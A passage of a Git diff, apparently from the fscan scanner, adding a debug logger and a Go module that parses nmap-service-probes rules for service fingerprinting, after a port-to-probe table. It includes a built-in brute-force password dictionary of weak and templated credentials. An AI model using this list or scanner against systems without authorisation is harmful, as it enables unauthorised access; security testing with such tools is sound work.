|
||||
25565: {"minecraft-ping"},
|
||||
26214: {"GenericLines"},
|
||||
26256: {"JavaRMI"},
|
||||
26470: {"GenericLines"},
|
||||
27000: {"SMBProgNeg"},
|
||||
27001: {"SMBProgNeg"},
|
||||
27002: {"SMBProgNeg"},
|
||||
27003: {"SMBProgNeg"},
|
||||
27004: {"SMBProgNeg"},
|
||||
27005: {"SMBProgNeg"},
|
||||
27006: {"SMBProgNeg"},
|
||||
27007: {"SMBProgNeg"},
|
||||
27008: {"SMBProgNeg"},
|
||||
27009: {"SMBProgNeg"},
|
||||
27010: {"SMBProgNeg"},
|
||||
27017: {"mongodb"},
|
||||
27036: {"TLS-PSK"},
|
||||
30444: {"GenericLines"},
|
||||
31099: {"JavaRMI"},
|
||||
31337: {"GetRequest", "SIPOptions"},
|
||||
31416: {"GenericLines"},
|
||||
32211: {"LPDString"},
|
||||
32750: {"RPCCheck"},
|
||||
32751: {"RPCCheck"},
|
||||
32752: {"RPCCheck"},
|
||||
32753: {"RPCCheck"},
|
||||
32754: {"RPCCheck"},
|
||||
32755: {"RPCCheck"},
|
||||
32756: {"RPCCheck"},
|
||||
32757: {"RPCCheck"},
|
||||
32758: {"RPCCheck"},
|
||||
32759: {"RPCCheck"},
|
||||
32760: {"RPCCheck"},
|
||||
32761: {"RPCCheck"},
|
||||
32762: {"RPCCheck"},
|
||||
32763: {"RPCCheck"},
|
||||
32764: {"RPCCheck"},
|
||||
32765: {"RPCCheck"},
|
||||
32766: {"RPCCheck"},
|
||||
32767: {"RPCCheck"},
|
||||
32768: {"RPCCheck"},
|
||||
32769: {"RPCCheck"},
|
||||
32770: {"RPCCheck"},
|
||||
32771: {"RPCCheck"},
|
||||
32772: {"RPCCheck"},
|
||||
32773: {"RPCCheck"},
|
||||
32774: {"RPCCheck"},
|
||||
32775: {"RPCCheck"},
|
||||
32776: {"RPCCheck"},
|
||||
32777: {"RPCCheck"},
|
||||
32778: {"RPCCheck"},
|
||||
32779: {"RPCCheck"},
|
||||
32780: {"RPCCheck"},
|
||||
32781: {"RPCCheck"},
|
||||
32782: {"RPCCheck"},
|
||||
32783: {"RPCCheck"},
|
||||
32784: {"RPCCheck"},
|
||||
32785: {"RPCCheck"},
|
||||
32786: {"RPCCheck"},
|
||||
32787: {"RPCCheck"},
|
||||
32788: {"RPCCheck"},
|
||||
32789: {"RPCCheck"},
|
||||
32790: {"RPCCheck"},
|
||||
32791: {"RPCCheck"},
|
||||
32792: {"RPCCheck"},
|
||||
32793: {"RPCCheck"},
|
||||
32794: {"RPCCheck"},
|
||||
32795: {"RPCCheck"},
|
||||
32796: {"RPCCheck"},
|
||||
32797: {"RPCCheck"},
|
||||
32798: {"RPCCheck"},
|
||||
32799: {"RPCCheck"},
|
||||
32800: {"RPCCheck"},
|
||||
32801: {"RPCCheck"},
|
||||
32802: {"RPCCheck"},
|
||||
32803: {"RPCCheck"},
|
||||
32804: {"RPCCheck"},
|
||||
32805: {"RPCCheck"},
|
||||
32806: {"RPCCheck"},
|
||||
32807: {"RPCCheck"},
|
||||
32808: {"RPCCheck"},
|
||||
32809: {"RPCCheck"},
|
||||
32810: {"RPCCheck"},
|
||||
32913: {"JavaRMI"},
|
||||
33000: {"JavaRMI"},
|
||||
33015: {"tarantool"},
|
||||
34012: {"GenericLines"},
|
||||
37435: {"HTTPOptions"},
|
||||
37718: {"JavaRMI"},
|
||||
38978: {"RPCCheck"},
|
||||
40193: {"GetRequest"},
|
||||
41523: {"DNSStatusRequestTCP"},
|
||||
44443: {"GetRequest", "SSLSessionReq"},
|
||||
45230: {"JavaRMI"},
|
||||
47001: {"JavaRMI"},
|
||||
47002: {"JavaRMI"},
|
||||
49152: {"FourOhFourRequest"},
|
||||
49153: {"mongodb"},
|
||||
49400: {"HTTPOptions"},
|
||||
50000: {"GetRequest", "ibm-db2-das", "ibm-db2", "drda"},
|
||||
50001: {"ibm-db2"},
|
||||
50002: {"ibm-db2"},
|
||||
50003: {"ibm-db2"},
|
||||
50004: {"ibm-db2"},
|
||||
50005: {"ibm-db2"},
|
||||
50006: {"ibm-db2"},
|
||||
50007: {"ibm-db2"},
|
||||
50008: {"ibm-db2"},
|
||||
50009: {"ibm-db2"},
|
||||
50010: {"ibm-db2"},
|
||||
50011: {"ibm-db2"},
|
||||
50012: {"ibm-db2"},
|
||||
50013: {"ibm-db2"},
|
||||
50014: {"ibm-db2"},
|
||||
50015: {"ibm-db2"},
|
||||
50016: {"ibm-db2"},
|
||||
50017: {"ibm-db2"},
|
||||
50018: {"ibm-db2"},
|
||||
50019: {"ibm-db2"},
|
||||
50020: {"ibm-db2"},
|
||||
50021: {"ibm-db2"},
|
||||
50022: {"ibm-db2"},
|
||||
50023: {"ibm-db2"},
|
||||
50024: {"ibm-db2"},
|
||||
50025: {"ibm-db2"},
|
||||
50050: {"JavaRMI"},
|
||||
50500: {"JavaRMI"},
|
||||
50501: {"JavaRMI"},
|
||||
50502: {"JavaRMI"},
|
||||
50503: {"JavaRMI"},
|
||||
50504: {"JavaRMI"},
|
||||
50505: {"metasploit-msgrpc"},
|
||||
51234: {"teamspeak-tcpquery-ver"},
|
||||
55552: {"metasploit-msgrpc"},
|
||||
55553: {"metasploit-xmlrpc", "metasploit-xmlrpc"},
|
||||
55555: {"GetRequest"},
|
||||
56667: {"GenericLines"},
|
||||
59100: {"kumo-server"},
|
||||
60000: {"ibm-db2", "drda"},
|
||||
60001: {"ibm-db2"},
|
||||
60002: {"ibm-db2"},
|
||||
60003: {"ibm-db2"},
|
||||
60004: {"ibm-db2"},
|
||||
60005: {"ibm-db2"},
|
||||
60006: {"ibm-db2"},
|
||||
60007: {"ibm-db2"},
|
||||
60008: {"ibm-db2"},
|
||||
60009: {"ibm-db2"},
|
||||
60010: {"ibm-db2"},
|
||||
60011: {"ibm-db2"},
|
||||
60012: {"ibm-db2"},
|
||||
60013: {"ibm-db2"},
|
||||
60014: {"ibm-db2"},
|
||||
60015: {"ibm-db2"},
|
||||
60016: {"ibm-db2"},
|
||||
60017: {"ibm-db2"},
|
||||
60018: {"ibm-db2"},
|
||||
60019: {"ibm-db2"},
|
||||
60020: {"ibm-db2"},
|
||||
60021: {"ibm-db2"},
|
||||
60022: {"ibm-db2"},
|
||||
60023: {"ibm-db2"},
|
||||
60024: {"ibm-db2"},
|
||||
60025: {"ibm-db2"},
|
||||
60443: {"GetRequest", "SSLSessionReq"},
|
||||
61613: {"HELP4STOMP"},
|
||||
}
|
||||
|
||||
var Passwords = []string{"123456", "admin", "admin123", "root", "", "pass123", "pass@123", "password", "Password", "P@ssword123", "123123", "654321", "111111", "123", "1", "admin@123", "Admin@123", "admin123!@#", "{user}", "{user}1", "{user}111", "{user}123", "{user}@123", "{user}_123", "{user}#123", "{user}@111", "{user}@2019", "{user}@123#4", "P@ssw0rd!", "P@ssw0rd", "Passw0rd", "qwe123", "12345678", "test", "test123", "123qwe", "123qwe!@#", "123456789", "123321", "666666", "a123456.", "123456~a", "123456!a", "000000", "1234567890", "8888888", "!QAZ2wsx", "1qaz2wsx", "abc123", "abc123456", "1qaz@WSX", "a11111", "a12345", "Aa1234", "Aa1234.", "Aa12345", "a123456", "a123123", "Aa123123", "Aa123456", "Aa12345.", "sysadmin", "system", "1qaz!QAZ", "2wsx@WSX", "qwe123!@#", "Aa123456!", "A123456s!", "sa123456", "1q2w3e", "Charge123", "Aa123456789", "elastic123"}
|
||||
|
||||
var Outputfile = "result.txt"
|
||||
|
@ -195,6 +195,27 @@ func LogSuccess(result string) {
|
||||
}
|
||||
}
|
||||
|
||||
func LogDebug(msg string) {
|
||||
if ProgressBar != nil {
|
||||
ProgressBar.Clear()
|
||||
}
|
||||
|
||||
entry := &LogEntry{
|
||||
Level: LogLevelDebug,
|
||||
Time: time.Now(),
|
||||
Content: msg,
|
||||
}
|
||||
|
||||
printLog(entry)
|
||||
if fileWriter != nil {
|
||||
fileWriter.write(entry)
|
||||
}
|
||||
|
||||
if ProgressBar != nil {
|
||||
ProgressBar.RenderBlank()
|
||||
}
|
||||
}
|
||||
|
||||
func newBufferedFileWriter() *bufferedFileWriter {
|
||||
file, err := os.OpenFile(Outputfile, os.O_WRONLY|os.O_CREATE|os.O_APPEND, 0666)
|
||||
if err != nil {
|
||||
|
877
Core/PortFinger.go
Normal file
877
Core/PortFinger.go
Normal file
@ -0,0 +1,877 @@
|
||||
package Core
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"github.com/shadow1ng/fscan/Common"
|
||||
"regexp"
|
||||
"strconv"
|
||||
"strings"
|
||||
)
|
||||
|
||||
//go:embed nmap-service-probes.txt
|
||||
var ProbeString string
|
||||
|
||||
var v VScan // 改为VScan类型而不是指针
|
||||
|
||||
type VScan struct {
|
||||
Exclude string
|
||||
AllProbes []Probe
|
||||
UdpProbes []Probe
|
||||
Probes []Probe
|
||||
ProbesMapKName map[string]Probe
|
||||
}
|
||||
|
||||
type Probe struct {
|
||||
Name string // 探测器名称
|
||||
Data string // 探测数据
|
||||
Protocol string // 协议
|
||||
Ports string // 端口范围
|
||||
SSLPorts string // SSL端口范围
|
||||
|
||||
TotalWaitMS int // 总等待时间
|
||||
TCPWrappedMS int // TCP包装等待时间
|
||||
Rarity int // 稀有度
|
||||
Fallback string // 回退探测器名称
|
||||
|
||||
Matchs *[]Match // 匹配规则列表
|
||||
}
|
||||
|
||||
type Match struct {
|
||||
IsSoft bool // 是否为软匹配
|
||||
Service string // 服务名称
|
||||
Pattern string // 匹配模式
|
||||
VersionInfo string // 版本信息格式
|
||||
FoundItems []string // 找到的项目
|
||||
PatternCompiled *regexp.Regexp // 编译后的正则表达式
|
||||
}
|
||||
|
||||
type Directive struct {
|
||||
DirectiveName string
|
||||
Flag string
|
||||
Delimiter string
|
||||
DirectiveStr string
|
||||
}
|
||||
|
||||
type Extras struct {
|
||||
VendorProduct string
|
||||
Version string
|
||||
Info string
|
||||
Hostname string
|
||||
OperatingSystem string
|
||||
DeviceType string
|
||||
CPE string
|
||||
}
|
||||
|
||||
func init() {
|
||||
Common.LogDebug("开始初始化全局变量")
|
||||
|
||||
v = VScan{} // 直接初始化VScan结构体
|
||||
v.Init()
|
||||
|
||||
// 获取并检查 NULL 探测器
|
||||
if nullProbe, ok := v.ProbesMapKName["NULL"]; ok {
|
||||
Common.LogDebug(fmt.Sprintf("成功获取NULL探测器,Data长度: %d", len(nullProbe.Data)))
|
||||
null = &nullProbe
|
||||
} else {
|
||||
Common.LogDebug("警告: 未找到NULL探测器")
|
||||
}
|
||||
|
||||
// 获取并检查 GenericLines 探测器
|
||||
if commonProbe, ok := v.ProbesMapKName["GenericLines"]; ok {
|
||||
Common.LogDebug(fmt.Sprintf("成功获取GenericLines探测器,Data长度: %d", len(commonProbe.Data)))
|
||||
common = &commonProbe
|
||||
} else {
|
||||
Common.LogDebug("警告: 未找到GenericLines探测器")
|
||||
}
|
||||
|
||||
Common.LogDebug("全局变量初始化完成")
|
||||
}
|
||||
|
||||
// 解析指令语法,返回指令结构
|
||||
func (p *Probe) getDirectiveSyntax(data string) (directive Directive) {
|
||||
Common.LogDebug("开始解析指令语法,输入数据: " + data)
|
||||
|
||||
directive = Directive{}
|
||||
// 查找第一个空格的位置
|
||||
blankIndex := strings.Index(data, " ")
|
||||
if blankIndex == -1 {
|
||||
Common.LogDebug("未找到空格分隔符")
|
||||
return directive
|
||||
}
|
||||
|
||||
// 解析各个字段
|
||||
directiveName := data[:blankIndex]
|
||||
Flag := data[blankIndex+1 : blankIndex+2]
|
||||
delimiter := data[blankIndex+2 : blankIndex+3]
|
||||
directiveStr := data[blankIndex+3:]
|
||||
|
||||
directive.DirectiveName = directiveName
|
||||
directive.Flag = Flag
|
||||
directive.Delimiter = delimiter
|
||||
directive.DirectiveStr = directiveStr
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("指令解析结果: 名称=%s, 标志=%s, 分隔符=%s, 内容=%s",
|
||||
directiveName, Flag, delimiter, directiveStr))
|
||||
|
||||
return directive
|
||||
}
|
||||
|
||||
// 解析探测器信息
|
||||
func (p *Probe) parseProbeInfo(probeStr string) {
|
||||
Common.LogDebug("开始解析探测器信息,输入字符串: " + probeStr)
|
||||
|
||||
// 提取协议和其他信息
|
||||
proto := probeStr[:4]
|
||||
other := probeStr[4:]
|
||||
|
||||
// 验证协议类型
|
||||
if !(proto == "TCP " || proto == "UDP ") {
|
||||
errMsg := "探测器协议必须是 TCP 或 UDP"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 验证其他信息不为空
|
||||
if len(other) == 0 {
|
||||
errMsg := "nmap-service-probes - 探测器名称无效"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 解析指令
|
||||
directive := p.getDirectiveSyntax(other)
|
||||
|
||||
// 设置探测器属性
|
||||
p.Name = directive.DirectiveName
|
||||
p.Data = strings.Split(directive.DirectiveStr, directive.Delimiter)[0]
|
||||
p.Protocol = strings.ToLower(strings.TrimSpace(proto))
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("探测器解析完成: 名称=%s, 数据=%s, 协议=%s",
|
||||
p.Name, p.Data, p.Protocol))
|
||||
}
|
||||
|
||||
// 从字符串解析探测器信息
|
||||
func (p *Probe) fromString(data string) error {
|
||||
Common.LogDebug("开始解析探测器字符串数据")
|
||||
var err error
|
||||
|
||||
// 预处理数据
|
||||
data = strings.TrimSpace(data)
|
||||
lines := strings.Split(data, "\n")
|
||||
if len(lines) == 0 {
|
||||
return fmt.Errorf("输入数据为空")
|
||||
}
|
||||
|
||||
probeStr := lines[0]
|
||||
p.parseProbeInfo(probeStr)
|
||||
|
||||
// 解析匹配规则和其他配置
|
||||
var matchs []Match
|
||||
for _, line := range lines {
|
||||
Common.LogDebug("处理行: " + line)
|
||||
switch {
|
||||
case strings.HasPrefix(line, "match "):
|
||||
match, err := p.getMatch(line)
|
||||
if err != nil {
|
||||
Common.LogDebug("解析match失败: " + err.Error())
|
||||
continue
|
||||
}
|
||||
matchs = append(matchs, match)
|
||||
|
||||
case strings.HasPrefix(line, "softmatch "):
|
||||
softMatch, err := p.getSoftMatch(line)
|
||||
if err != nil {
|
||||
Common.LogDebug("解析softmatch失败: " + err.Error())
|
||||
continue
|
||||
}
|
||||
matchs = append(matchs, softMatch)
|
||||
|
||||
case strings.HasPrefix(line, "ports "):
|
||||
p.parsePorts(line)
|
||||
|
||||
case strings.HasPrefix(line, "sslports "):
|
||||
p.parseSSLPorts(line)
|
||||
|
||||
case strings.HasPrefix(line, "totalwaitms "):
|
||||
p.parseTotalWaitMS(line)
|
||||
|
||||
case strings.HasPrefix(line, "tcpwrappedms "):
|
||||
p.parseTCPWrappedMS(line)
|
||||
|
||||
case strings.HasPrefix(line, "rarity "):
|
||||
p.parseRarity(line)
|
||||
|
||||
case strings.HasPrefix(line, "fallback "):
|
||||
p.parseFallback(line)
|
||||
}
|
||||
}
|
||||
p.Matchs = &matchs
|
||||
Common.LogDebug(fmt.Sprintf("解析完成,共有 %d 个匹配规则", len(matchs)))
|
||||
return err
|
||||
}
|
||||
|
||||
// 解析端口配置
|
||||
func (p *Probe) parsePorts(data string) {
|
||||
p.Ports = data[len("ports")+1:]
|
||||
Common.LogDebug("解析端口: " + p.Ports)
|
||||
}
|
||||
|
||||
// 解析SSL端口配置
|
||||
func (p *Probe) parseSSLPorts(data string) {
|
||||
p.SSLPorts = data[len("sslports")+1:]
|
||||
Common.LogDebug("解析SSL端口: " + p.SSLPorts)
|
||||
}
|
||||
|
||||
// 解析总等待时间
|
||||
func (p *Probe) parseTotalWaitMS(data string) {
|
||||
waitMS, err := strconv.Atoi(strings.TrimSpace(data[len("totalwaitms")+1:]))
|
||||
if err != nil {
|
||||
Common.LogDebug("解析总等待时间失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.TotalWaitMS = waitMS
|
||||
Common.LogDebug(fmt.Sprintf("总等待时间: %d ms", waitMS))
|
||||
}
|
||||
|
||||
// 解析TCP包装等待时间
|
||||
func (p *Probe) parseTCPWrappedMS(data string) {
|
||||
wrappedMS, err := strconv.Atoi(strings.TrimSpace(data[len("tcpwrappedms")+1:]))
|
||||
if err != nil {
|
||||
Common.LogDebug("解析TCP包装等待时间失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.TCPWrappedMS = wrappedMS
|
||||
Common.LogDebug(fmt.Sprintf("TCP包装等待时间: %d ms", wrappedMS))
|
||||
}
|
||||
|
||||
// 解析稀有度
|
||||
func (p *Probe) parseRarity(data string) {
|
||||
rarity, err := strconv.Atoi(strings.TrimSpace(data[len("rarity")+1:]))
|
||||
if err != nil {
|
||||
Common.LogDebug("解析稀有度失败: " + err.Error())
|
||||
return
|
||||
}
|
||||
p.Rarity = rarity
|
||||
Common.LogDebug(fmt.Sprintf("稀有度: %d", rarity))
|
||||
}
|
||||
|
||||
// 解析回退配置
|
||||
func (p *Probe) parseFallback(data string) {
|
||||
p.Fallback = data[len("fallback")+1:]
|
||||
Common.LogDebug("回退配置: " + p.Fallback)
|
||||
}
|
||||
|
||||
// 判断是否为十六进制编码
|
||||
func isHexCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\x[0-9a-fA-F]{2}`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为八进制编码
|
||||
func isOctalCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[0-7]{1,3}`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为结构化转义字符
|
||||
func isStructCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[aftnrv]`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 判断是否为正则表达式特殊字符
|
||||
func isReChar(n int64) bool {
|
||||
reChars := `.*?+{}()^$|\`
|
||||
for _, char := range reChars {
|
||||
if n == int64(char) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// 判断是否为其他转义序列
|
||||
func isOtherEscapeCode(b []byte) bool {
|
||||
matchRe := regexp.MustCompile(`\\[^\\]`)
|
||||
return matchRe.Match(b)
|
||||
}
|
||||
|
||||
// 从内容解析探测器规则
|
||||
func (v *VScan) parseProbesFromContent(content string) {
|
||||
Common.LogDebug("开始解析探测器规则文件内容")
|
||||
var probes []Probe
|
||||
var lines []string
|
||||
|
||||
// 过滤注释和空行
|
||||
linesTemp := strings.Split(content, "\n")
|
||||
for _, lineTemp := range linesTemp {
|
||||
lineTemp = strings.TrimSpace(lineTemp)
|
||||
if lineTemp == "" || strings.HasPrefix(lineTemp, "#") {
|
||||
continue
|
||||
}
|
||||
lines = append(lines, lineTemp)
|
||||
}
|
||||
|
||||
// 验证文件内容
|
||||
if len(lines) == 0 {
|
||||
errMsg := "读取nmap-service-probes文件失败: 内容为空"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 检查Exclude指令
|
||||
excludeCount := 0
|
||||
for _, line := range lines {
|
||||
if strings.HasPrefix(line, "Exclude ") {
|
||||
excludeCount++
|
||||
}
|
||||
if excludeCount > 1 {
|
||||
errMsg := "nmap-service-probes文件中只允许有一个Exclude指令"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
}
|
||||
|
||||
// 验证第一行格式
|
||||
firstLine := lines[0]
|
||||
if !(strings.HasPrefix(firstLine, "Exclude ") || strings.HasPrefix(firstLine, "Probe ")) {
|
||||
errMsg := "解析错误: 首行必须以\"Probe \"或\"Exclude \"开头"
|
||||
Common.LogDebug("错误: " + errMsg)
|
||||
panic(errMsg)
|
||||
}
|
||||
|
||||
// 处理Exclude指令
|
||||
if excludeCount == 1 {
|
||||
v.Exclude = firstLine[len("Exclude")+1:]
|
||||
lines = lines[1:]
|
||||
Common.LogDebug("解析到Exclude规则: " + v.Exclude)
|
||||
}
|
||||
|
||||
// 合并内容并分割探测器
|
||||
content = "\n" + strings.Join(lines, "\n")
|
||||
probeParts := strings.Split(content, "\nProbe")[1:]
|
||||
|
||||
// 解析每个探测器
|
||||
for _, probePart := range probeParts {
|
||||
probe := Probe{}
|
||||
if err := probe.fromString(probePart); err != nil {
|
||||
Common.LogDebug(fmt.Sprintf("解析探测器失败: %v", err))
|
||||
continue
|
||||
}
|
||||
probes = append(probes, probe)
|
||||
}
|
||||
|
||||
v.AllProbes = probes
|
||||
Common.LogDebug(fmt.Sprintf("成功解析 %d 个探测器规则", len(probes)))
|
||||
}
|
||||
|
||||
// 将探测器转换为名称映射
|
||||
func (v *VScan) parseProbesToMapKName() {
|
||||
Common.LogDebug("开始构建探测器名称映射")
|
||||
v.ProbesMapKName = map[string]Probe{}
|
||||
for _, probe := range v.AllProbes {
|
||||
v.ProbesMapKName[probe.Name] = probe
|
||||
Common.LogDebug("添加探测器映射: " + probe.Name)
|
||||
}
|
||||
}
|
||||
|
||||
// 设置使用的探测器
|
||||
func (v *VScan) SetusedProbes() {
|
||||
Common.LogDebug("开始设置要使用的探测器")
|
||||
|
||||
for _, probe := range v.AllProbes {
|
||||
if strings.ToLower(probe.Protocol) == "tcp" {
|
||||
if probe.Name == "SSLSessionReq" {
|
||||
Common.LogDebug("跳过 SSLSessionReq 探测器")
|
||||
continue
|
||||
}
|
||||
|
||||
v.Probes = append(v.Probes, probe)
|
||||
Common.LogDebug("添加TCP探测器: " + probe.Name)
|
||||
|
||||
// 特殊处理TLS会话请求
|
||||
if probe.Name == "TLSSessionReq" {
|
||||
sslProbe := v.ProbesMapKName["SSLSessionReq"]
|
||||
v.Probes = append(v.Probes, sslProbe)
|
||||
Common.LogDebug("为TLSSessionReq添加SSL探测器")
|
||||
}
|
||||
} else {
|
||||
v.UdpProbes = append(v.UdpProbes, probe)
|
||||
Common.LogDebug("添加UDP探测器: " + probe.Name)
|
||||
}
|
||||
}
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("探测器设置完成,TCP: %d个, UDP: %d个",
|
||||
len(v.Probes), len(v.UdpProbes)))
|
||||
}
|
||||
|
||||
// 解析match指令获取匹配规则
|
||||
func (p *Probe) getMatch(data string) (match Match, err error) {
|
||||
Common.LogDebug("开始解析match指令:" + data)
|
||||
match = Match{}
|
||||
|
||||
// 提取match文本并解析指令语法
|
||||
matchText := data[len("match")+1:]
|
||||
directive := p.getDirectiveSyntax(matchText)
|
||||
|
||||
// 分割文本获取pattern和版本信息
|
||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||
if len(textSplited) == 0 {
|
||||
return match, fmt.Errorf("无效的match指令格式")
|
||||
}
|
||||
|
||||
pattern := textSplited[0]
|
||||
versionInfo := strings.Join(textSplited[1:], "")
|
||||
|
||||
// 解码并编译正则表达式
|
||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||
if decodeErr != nil {
|
||||
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||
return match, decodeErr
|
||||
}
|
||||
|
||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||
if compileErr != nil {
|
||||
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||
return match, compileErr
|
||||
}
|
||||
|
||||
// 设置match对象属性
|
||||
match.Service = directive.DirectiveName
|
||||
match.Pattern = pattern
|
||||
match.PatternCompiled = patternCompiled
|
||||
match.VersionInfo = versionInfo
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("解析match成功: 服务=%s, Pattern=%s",
|
||||
match.Service, match.Pattern))
|
||||
return match, nil
|
||||
}
|
||||
|
||||
// 解析softmatch指令获取软匹配规则
|
||||
func (p *Probe) getSoftMatch(data string) (softMatch Match, err error) {
|
||||
Common.LogDebug("开始解析softmatch指令:" + data)
|
||||
softMatch = Match{IsSoft: true}
|
||||
|
||||
// 提取softmatch文本并解析指令语法
|
||||
matchText := data[len("softmatch")+1:]
|
||||
directive := p.getDirectiveSyntax(matchText)
|
||||
|
||||
// 分割文本获取pattern和版本信息
|
||||
textSplited := strings.Split(directive.DirectiveStr, directive.Delimiter)
|
||||
if len(textSplited) == 0 {
|
||||
return softMatch, fmt.Errorf("无效的softmatch指令格式")
|
||||
}
|
||||
|
||||
pattern := textSplited[0]
|
||||
versionInfo := strings.Join(textSplited[1:], "")
|
||||
|
||||
// 解码并编译正则表达式
|
||||
patternUnescaped, decodeErr := DecodePattern(pattern)
|
||||
if decodeErr != nil {
|
||||
Common.LogDebug("解码pattern失败: " + decodeErr.Error())
|
||||
return softMatch, decodeErr
|
||||
}
|
||||
|
||||
patternUnescapedStr := string([]rune(string(patternUnescaped)))
|
||||
patternCompiled, compileErr := regexp.Compile(patternUnescapedStr)
|
||||
if compileErr != nil {
|
||||
Common.LogDebug("编译正则表达式失败: " + compileErr.Error())
|
||||
return softMatch, compileErr
|
||||
}
|
||||
|
||||
// 设置softMatch对象属性
|
||||
softMatch.Service = directive.DirectiveName
|
||||
softMatch.Pattern = pattern
|
||||
softMatch.PatternCompiled = patternCompiled
|
||||
softMatch.VersionInfo = versionInfo
|
||||
|
||||
Common.LogDebug(fmt.Sprintf("解析softmatch成功: 服务=%s, Pattern=%s",
|
||||
softMatch.Service, softMatch.Pattern))
|
||||
return softMatch, nil
|
||||
}
|
||||
|
||||
// 解码模式字符串,处理转义序列
|
||||
func DecodePattern(s string) ([]byte, error) {
|
||||
Common.LogDebug("开始解码pattern: " + s)
|
||||
sByteOrigin := []byte(s)
|
||||
|
||||
// 处理十六进制、八进制和结构化转义序列
|
||||
matchRe := regexp.MustCompile(`\\(x[0-9a-fA-F]{2}|[0-7]{1,3}|[aftnrv])`)
|
||||
sByteDec := matchRe.ReplaceAllFunc(sByteOrigin, func(match []byte) (v []byte) {
|
||||
var replace []byte
|
||||
|
||||
// 处理十六进制转义
|
||||
if isHexCode(match) {
|
||||
hexNum := match[2:]
|
||||
byteNum, _ := strconv.ParseInt(string(hexNum), 16, 32)
|
||||
if isReChar(byteNum) {
|
||||
replace = []byte{'\\', uint8(byteNum)}
|
||||
} else {
|
||||
replace = []byte{uint8(byteNum)}
|
||||
}
|
||||
}
|
||||
|
||||
// 处理结构化转义字符
|
||||
if isStructCode(match) {
|
||||
structCodeMap := map[int][]byte{
|
||||
97: []byte{0x07}, // \a 响铃
|
||||
102: []byte{0x0c}, // \f 换页
|
||||
116: []byte{0x09}, // \t 制表符
|
||||
110: []byte{0x0a}, // \n 换行
|
||||
114: []byte{0x0d}, // \r 回车
|
||||
118: []byte{0x0b}, // \v 垂直制表符
|
||||
}
|
||||
replace = structCodeMap[int(match[1])]
|
||||
}
|
||||
|
||||
// 处理八进制转义
|
||||
if isOctalCode(match) {
|
||||
octalNum := match[2:]
|
||||
byteNum, _ := strconv.ParseInt(string(octalNum), 8, 32)
|
||||
replace = []byte{uint8(byteNum)}
|
||||
}
|
||||
return replace
|
||||
})
|
||||
|
||||
// 处理其他转义序列
|
||||
matchRe2 := regexp.MustCompile(`\\([^\\])`)
|
||||
sByteDec2 := matchRe2.ReplaceAllFunc(sByteDec, func(match []byte) (v []byte) {
|
||||
if isOtherEscapeCode(match) {
|
||||
return match
|
||||
}
|
||||
return match
|
||||
})
|
||||
|
||||
Common.LogDebug("pattern解码完成")
|
||||
return sByteDec2, nil
|
||||
}
|
||||
|
||||
// ProbesRarity 用于按稀有度排序的探测器切片
|
||||
type ProbesRarity []Probe
|
||||
|
||||
// Len 返回切片长度,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Len() int {
|
||||
return len(ps)
|
||||
}
|
||||
|
||||
// Swap 交换切片中的两个元素,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Swap(i, j int) {
|
||||
ps[i], ps[j] = ps[j], ps[i]
|
||||
}
|
||||
|
||||
// Less 比较函数,按稀有度升序排序,实现 sort.Interface 接口
|
||||
func (ps ProbesRarity) Less(i, j int) bool {
|
||||
return ps[i].Rarity < ps[j].Rarity
|
||||
}
|
||||
|
||||
// Target 定义目标结构体
|
||||
type Target struct {
|
||||
IP string // 目标IP地址
|
||||
Port int // 目标端口
|
||||
Protocol string // 协议类型
|
||||
}
|
||||
|
||||
// ContainsPort 检查指定端口是否在探测器的端口范围内
|
||||
func (p *Probe) ContainsPort(testPort int) bool {
|
||||
Common.LogDebug(fmt.Sprintf("检查端口 %d 是否在探测器端口范围内: %s", testPort, p.Ports))
|
||||
|
||||
// 检查单个端口
|
||||
ports := strings.Split(p.Ports, ",")
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
cmpPort, err := strconv.Atoi(port)
|
||||
if err == nil && testPort == cmpPort {
|
||||
Common.LogDebug(fmt.Sprintf("端口 %d 匹配单个端口", testPort))
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
// 检查端口范围
|
||||
for _, port := range ports {
|
||||
port = strings.TrimSpace(port)
|
||||
if strings.Contains(port, "-") {
|
||||
portRange := strings.Split(port, "-")
|
||||
if len(portRange) != 2 {
|
||||
Common.LogDebug("无效的端口范围格式: " + port)
|
||||
continue
|
||||
}
|
||||
|
||||
start, err1 := strconv.Atoi(strings.TrimSpace(portRange[0]))
|
||||
end, err2 := strconv.Atoi(strings.TrimSpace(portRange[1]))
|
||||
|
||||
if err1 != nil || err2 != nil {
|
||||
Common.LogDebug(fmt.Sprintf("解析端口范围失败: %s", port))
|
||||
continue
|
||||
}
|
||||
|
||||
if testPort >= start && testPort <= end {
|
||||
